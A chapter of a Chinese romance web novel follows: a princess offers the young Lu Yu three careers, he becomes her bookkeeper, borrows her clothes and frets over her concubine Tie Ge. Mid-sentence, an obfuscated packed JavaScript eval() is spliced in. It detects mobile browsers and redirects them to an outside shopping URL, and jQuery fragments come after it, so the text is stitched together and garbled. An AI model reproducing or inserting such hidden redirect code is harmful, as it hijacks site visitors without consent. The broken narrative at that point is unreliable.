她身披银轻甲,一根红缎扎发成冠,迈步进来时卷起操校场的沙尘,飒爽地往床边坐了,身上那股被阳光烘过的棉布香气扑面而来。
陆偊和她认识到现在,好像就从没正儿八经地跟她行个礼,现在他有点想行个礼了,然后意识到一件事——
他不知道跟公主行礼的规矩。
幸好公主也没跟他计较过。
还有,他昨晚既然做了那种决定的话,是不是应该,那话怎么说的来着,就、就,勾……勾引一下她?
他脑子里浮出昨天郑启教的“要是聪明点就用用苦肉计”和“公主最烦男人对她搔首弄姿”,综合来看,他应该不搔首弄姿地对她用苦肉计。
一下就难住他了,别说不搔首弄姿了,他连搔首弄姿都不会啊!
怎么办怎么办怎么办怎么办!
……
萧冶疑惑地看他将脸埋进软枕,露在外面的耳朵越来越红。
“在跟我生气吗?”她隔着被子推他,笑了,“别气了嘛,郑启跟我说了,最近不好见血,就没让刑兵真打,你能起来走走吗,不会招呼两下就不能动了吧?”
她知道郑启肯定放水了,但到底放了多少,她心里也没个底,事务多起来就顾不得他了。
陆偊被她推得一个激灵,轻声说:“公主,我没事,真的没事。”
“没事就好。”萧冶松口气。
陆偊没明白为什么公主会以为自己在生气,也顾不得“搔首弄姿”还是“不搔首弄姿”了,本来就不会的东西,别勉强自己会了,伸手想抓她衣袖,却只摸到被太阳烤得温热的甲边。
他就攥着那块甲边,望着她的眼睛:“公主,我知道错了,该打你打就是了,我就怕你生我的气,要是最近不好见血的话,要不,要不,等你忙完了再……”
话没说完,被萧冶打断:“行了,打完了就过去了,事情翻篇了。”
本就是个小事,给他吃个教训就行,何况她本来就没生气,笑话,要为了这种事生气,那她一天得气个八百回。
然而此事一出,蜜合居就不好留在她手里了,官员会重新安置那些娘子,她也得为陆偊找个新去处。
她凝眉沉吟:“陆偊,我昨晚为你想了三条路,你挑一个吧。”
陆偊感觉不妙,拧着眉问:“什么路?”
“此次事发,蜜合居再留在本宫手里只会徒增议论,就命人另外安置里面住着的娘子们。至于你,无论出于和你七姐的情谊,还是念在灵应观的余泽,本宫都不能丢下你不管。我之前就说过,你尚年轻,此刻多多进益,将来自然前程远大,你自己既然没个定性的,不如我给你定了。”萧冶垂眸,温柔地说:“第一条,投军,你从九品上副尉做起,我为你择军中大帅做师傅,保你三年内升品,六年内挣个世袭云骑尉当。”
陆偊扭过脸,闷闷道:“我不当兵。”
萧冶料到他会这么回,只点点头,继续说:“那就第二条路,走科举。我给你个公主门生的起点,请科试最好的谈夫子做你的西席,你也未必要考进士科,就考个明经科,考到功名以后,我为你安排,保你一路仕途顺遂。”
陆偊撇撇嘴:“我不做官,我看见当官的就脑仁疼。”
“那就只有最后一条路了。”萧冶反握他的手腕,笑吟吟地探他的眼睛,“昨儿云川和我说,青云轩缺个账房,你要不要做的?”加了点重音,“你愿意的话,往后就得时常跟在我身边了。”
“轰”一声,他脑子炸开了。
公主掌心粗粝温热的触感从手腕传至全身,理智告诉他不应该揣测“时常跟在我身边”或许另有深意,但遐想的心思根本收不住。
不能再脸红了,再脸红公主肯定就看出来了,可他控制不住,只能裹着被子往角落缩,心想如果隔开一段距离,她就不会注意到了。
然而床就那么大,公主就坐在旁边,手还握着他的腕,再缩都那么近。
萧冶笑了一声:“怎么回事呢,愿意还是不愿意?”
“我、我愿意的。”他结结巴巴的,咬口腔里的软肉,勉强保持镇定,郑重地说,“公主,恩师教过我一点看账本,我应该能做好账房的。”
“没事,公主府账册繁复,云川会教你的。”萧冶松开手,上下打量他,见他是坐在床上的,想来应该没落什么伤,心终于定了,温和地道,“军营事情多,照顾不到你,你自己能走的话,就起床穿衣,待会跟云川套了马车回去吧。”
陆偊点点头:“好。”却仍缩在被褥里,没动。
萧冶蹙眉:“怎么不起来?”
他该说什么?他昨晚怕衬袍弄脏床褥,就脱了里衣裹着她的外袍睡,虽情有可原,但他知道自己这样做存了点小私心,就这样从被窝里钻出来,他真的怕公主把他当做觊觎她的混蛋。
可他也不能直说,把被子裹得更紧,小声地说:“我没衣服穿了。”
萧冶一怔,恍然大悟:“怪不得怪不得,我给忘了,你昨天的衣裳都太脏了,肯定不能穿了。”她站起身,打开旁侧的木柜,“我给你拿一套铁戈穿的衣裳吧,你们两身量应当差不多。”
原来昨天那个男人叫铁戈。
陆偊撇撇嘴,他不爱穿别的男人的衣服,何况这个男人平时就睡在她卧帐的屏风外,小床被占了,他就理直气壮地去睡公主的床了。
他对不喜欢的人很明确:“我不要穿他的。”
萧冶的手一顿,回头问:“我这也没男子新衣啊,要不你穿我的?”
他点头:“好。”
“行,我去给你拿。”萧冶抬步折进卧房,温和平叙的声音穿过屏风,落在他的耳里,“本宫的里衣你应当能穿,但好像说男子的里裤要略大点才行,我多拿几条,你自己试试,真不行,我就只能去问别的将军借裤子给你了。”
他抓抓头:“应该能穿的吧,你比我壮一些的。”
“那你试试。”她托着叠得整齐的衣裳走出来,搁在床边,“呐,里衣里裤,外面的本宫拿了套自己的作训服,你能穿的话就送给你了,袜子也拿了双来,这是新的。”
她觉得他应该不好意思当着她面试衣服,笑了:“我去外头给你避个嫌?”
只扫一眼,陆偊觉得这几件衣裳的尺寸是他能穿的,伸手抓过来藏在被窝里,她说话时太坦荡自然了,让他觉得自己根本没必要想太多,咬了咬唇:
“没事,我躲被窝里试就好了。”
公主去外头给他避嫌,就显得他太不懂事了。
“也行吧。”
*
被褥限制了陆偊的动作,他试得慢,萧冶背过身,让出了床的大半的空间,没回头看他。
他胆子就大了,脱掉了裹着的外袍,袒露着胸膛去穿里衣,以前从没关注过自己的身体,此刻忽然对自己不满意了。
哪都不满意。
不够壮,摸摸小腹,好像肌肉线条也不怎么明显。
他蹙眉,想到了昨晚的铁戈。
他看上去比自己壮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005537|191204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好多。
然后他就郁闷了。
萧冶听到背后传来一声隐幽的叹息,问道:“不合适吗?”
“不是不是!”他赶紧把里衣的系带拉紧,深吸口气,决定试探一下,“公主,我昨晚见到铁戈了。”
萧冶倒是不意外,温平地道:“嗯,他晚上睡在我这的。”
陆偊试探得更小心了:“……他是你的什么人啊?”
萧冶淡淡:“有人要拉拢我,就送了一个男宠。”
这样啊,不是她自己纳的,那就好说,他继续问:“你喜欢他吗?”
萧冶依旧淡淡:“为了笼络我送来的人,应该不需要我喜欢吧?”
“不是不是,我的意思是你……”他斟酌了半天,“就是你觉得他……他好不好啊?”
萧冶“啧”了一声:“不知道,没睡过。”
“哎呀!我问的不是那个好不好!”陆偊又想找地方钻了,脸通红,“我是想说……算了算了,我说不清楚,不说了。”
萧冶被他挠得心都痒了,她一直觉得陆偊很干净,这种干净是全方位的,譬如他的坚守的侠义、怜悯众生的善悯。
太干净了。
这种干净让她放松。
她温平地道:“我夜里都去镇西营那边休息,这边就留给铁戈了。”
陆偊咬唇:“你和杜安世住一块吗?”
萧冶点头:“是啊,聊军务也方便。”
他叹了口气。
萧冶:“想什么呢?”
陆偊:“没什么。”
萧冶冷不伶仃地来了一句:“你应该在想,要是杜安世的话,还是铁戈陪我睡比较好,对吧?”
陆偊:“喂!”
他慌里慌张的,其实知道铁戈不是公主自己弄来的男人以后,他那点微妙的小心思就消了,一开始他想的是,公主如果有那方面的嗯……需要的话,自己肯定比铁戈做得好,既然公主没意识到他能做铁戈能做的事,那他就主动一点。
但是公主没有,他就不该想这些。
喜欢就是喜欢,喜欢就是让她得到她想要的。
她想得到什么都可以。
公主觉得和杜安世在一块,能拿到她想要的,那她按着自己的想法往前走就好了。
他就是有点难过,庙堂高台上那些盘根错节的势力关系,他摸不到,也弄不懂,不能再为她多做点什么了。
陆偊深吸一口气,觉得有些话得跟她说明白,反正不能让公主以为他是个揪着她婚姻情事的狭隘小人,爬了两步,很认真地说:
“公主,我师娘说过一句话,无知浅薄之人会把什么都往床笫艳事上揣测,怪不得他们,他们眼界窄,阅历少,只知道这些了,我以前听不懂,可我现在有点明白了。公主,你做你想做的事就好了,就算……就算有人编排遐想你的床笫,那其实也碍不着你的,就像我师娘经常说的,浅薄之人,怜悯尚不及,又何须计较呢?”
萧冶的指尖凝在半空,她真的没想到陆偊会跟她说这个。
她都有点想笑了,什么都没经过的人,怎么悟出来的?
转过头,陆偊穿好了里衣里裤,四肢撑着床,澄明干净的眼睛虔诚地望着她,他的皮肤太白了,衬得耳根更红,萧冶甚至第一次仔细端详起他的样貌来,他长得很漂亮,非常漂亮,眼睛鼻子嘴巴,哪里都很漂亮,而且他们靠太近了,少年郎紧张温热的呼吸扑在她的鼻尖。
风也刚刚好,少男披散的发丝拍打她的胸膛。